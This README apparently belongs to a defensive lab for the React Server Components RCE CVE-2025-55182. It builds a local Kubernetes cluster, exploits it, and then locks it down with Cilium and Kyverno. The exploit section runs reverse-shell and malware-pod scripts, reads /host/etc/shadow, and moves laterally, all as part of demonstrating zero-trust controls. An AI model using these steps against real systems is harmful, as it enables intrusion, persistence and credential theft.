CVE-2025-55182 (React2Shell) - Zero-Trust Research Demo

Kubernetes-based demonstration of zero-trust security controls against a React Server Components RCE vulnerability.

Vulnerability Overview

CVE-2025-55182 is a critical (CVSS 10.0) pre-authentication RCE in React Server Components affecting:

• React 19.0.0 - 19.2.0
• Next.js 15.0.0 - 15.5.x, 16.0.0 - 16.0.6

Root Cause: Unsafe deserialization of payloads in the RSC Flight protocol (CWE-502).

Kubernetes Zero-Trust Demo

Local Kubernetes setup demonstrating zero-trust with k3d, Cilium (eBPF network policies + Hubble), and Kyverno (admission policies).

Prerequisites

• Docker, k3d ≥ v5.7, kubectl, helm ≥ v3.14, skaffold

Setup

Important: Add the following to your /etc/hosts file:

127.0.0.1 frontend.zerotrust.local backend.zerotrust.local

$ k3d cluster create --config k3d/cluster.yaml

$ helm upgrade -i base ./k8s/base -n zerotrust-system --create-namespace --wait --timeout 10m
# Follow the next steps which are printed and continue once they are done
$ helm upgrade -i ingress ./k8s/ingress -n zerotrust-system --wait

# Run skaffold (builds and deploys demo app with hot-reload)
$ skaffold dev --default-repo=zerotrust.localhost:12345

Teardown

$ k3d cluster delete zerotrust

Exploit Demo

A 4-act walkthrough showing progression from permissive to zero-trust.

Act 1: Exploit (Permissive State)

No policies are active. The container runs as root with full network access.

# Terminal 1: Start listener on host
$ node exploit/listener.js

# Terminal 2: Trigger exploit
$ TARGET=http://frontend.zerotrust.local node exploit/reverse-shell-payload.js

The listener shows REVERSE SHELL connected. You have root shell access:

$ whoami
root
$ apt-get update   # works - full package manager access
$ curl http://backend:4000   # works - no network restrictions

Act 2: Malware Pod Installation (Cluster Pivot)

The misconfigured RBAC allows the attacker to use the pod's ServiceAccount to create a privileged pod with host filesystem access:

# Terminal 1: Start listener (if not already running)
$ node exploit/listener.js

# Terminal 2: Install malware pod via K8s API
$ TARGET=http://frontend.zerotrust.local node exploit/install-malware-payload.js

The listener shows REVERSE SHELL connected from the malware pod. You now have:

• Privileged container with root access
• Host filesystem mounted at /host
• Persistent backdoor that survives frontend restarts

$ ls /host              # browse host filesystem
$ cat /host/etc/shadow  # read sensitive host files

Act 3: Lateral Movement

From the compromised frontend, reach other services:

$ curl http://backend:4000   # access backend
$ curl http://database:3443  # access database

Act 4: Lock Down the Cluster

Install Cilium network policies and Kyverno admission policies:

$ helm upgrade -i policies ./k8s/policies -n zerotrust-system --wait

This adds:

• Cilium network policies (east-west traffic control)
• Cilium egress policies (blocks reverse shell callbacks)
• Kyverno policies (blocks privileged pods, enforces security contexts)

Act 5: Verify Lockdown

Reverse shell blocked:

$ TARGET=http://frontend.zerotrust.local node exploit/reverse-shell-payload.js
# Connection times out - egress to host blocked

Malware pod blocked:

$ TARGET=http://frontend.zerotrust.local node exploit/install-malware-payload.js
# Kyverno admission webhook denies the privileged pod creation

New privileged pods rejected:

$ kubectl run test --image=alpine --privileged -n zerotrust-demo
# Error: admission webhook "validate.kyverno.svc-fail" denied the request

Recommended Mitigations

1. Immediate: Upgrade React and Next.js to patched versions
2. Container Hardening:
   • Use distroless or scratch-based images
   • Run as non-root user
   • Read-only root filesystem
   • Drop all capabilities
3. Network Controls:
   • Egress filtering
   • Cilium WireGuard encryption (transparent mTLS)
4. Runtime Protection:
   • Falco for syscall monitoring
   • Runtime application self-protection (RASP)

References

• NVD Entry
• CISA KEV Catalog
• Distroless Images